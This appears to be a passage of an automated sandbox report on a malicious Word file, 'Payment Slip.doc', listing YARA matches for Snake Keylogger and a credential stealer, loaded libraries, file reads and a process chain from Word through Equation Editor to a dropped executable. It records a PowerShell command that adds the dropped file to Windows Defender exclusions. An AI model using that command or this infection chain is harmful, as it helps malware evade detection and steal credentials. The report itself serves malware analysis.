Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C3B760 8_2_00C3B760
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C33D69 8_2_00C33D69
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C3B770 8_2_00C3B770
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C35778 8_2_00C35778
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C3E978 8_2_00C3E978
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C33D78 8_2_00C33D78
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C3B308 8_2_00C3B308
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C39D08 8_2_00C39D08
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C33910 8_2_00C33910
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C3B318 8_2_00C3B318
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C33920 8_2_00C33920
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C35326 8_2_00C35326
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C3CD28 8_2_00C3CD28
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C3F731 8_2_00C3F731
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C35330 8_2_00C35330
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C36D30 8_2_00C36D30
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D650D8 8_2_00D650D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D649F8 8_2_00D649F8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D657B8 8_2_00D657B8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D63558 8_2_00D63558
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D60040 8_2_00D60040
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D62E78 8_2_00D62E78
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D64318 8_2_00D64318
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D63C38 8_2_00D63C38
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D60ED8 8_2_00D60ED8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D650CD 8_2_00D650CD
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D649F4 8_2_00D649F4
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D62AFC 8_2_00D62AFC
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D657B1 8_2_00D657B1
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D63551 8_2_00D63551
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D62E6F 8_2_00D62E6F
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D64315 8_2_00D64315
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D62B00 8_2_00D62B00
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D63C34 8_2_00D63C34
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D62130 8_2_00D62130
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00D6212C 8_2_00D6212C
Yara signature match
Source: Payment Slip.doc, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: LLnsOpxxAnmWi[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: vvndewepeter91026.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, Uel8r1lQF2PkteGZrv.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, Uel8r1lQF2PkteGZrv.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: _0020.SetAccessControl
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: _0020.AddAccessRule
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, Uel8r1lQF2PkteGZrv.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, Uel8r1lQF2PkteGZrv.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: _0020.SetAccessControl
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, E0RYX9X2eibsstJT2l.cs Security API names: _0020.AddAccessRule
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winDOC@9/14@23/9
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$yment Slip.doc Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRB51B.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......4.......N$.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......4.......Z$.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......4.......m$.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......4........$.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......4........$.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......4........$.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................a.g.a.i.n...............(................$.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(................$.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........%.........................s............h.(..... ....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(................%.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............,%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............8%.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....J%.........................s............h.(.....$....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............V%.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............h%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............t%.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............h.(.....2....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(................%.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(................%.........................s....................l....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(................%.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(................%.........................s............h.(............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(................%.........................s............h.(............................. Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Payment Slip.doc ReversingLabs: Detection: 44%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: wow64cpu.dll Jump to behavior
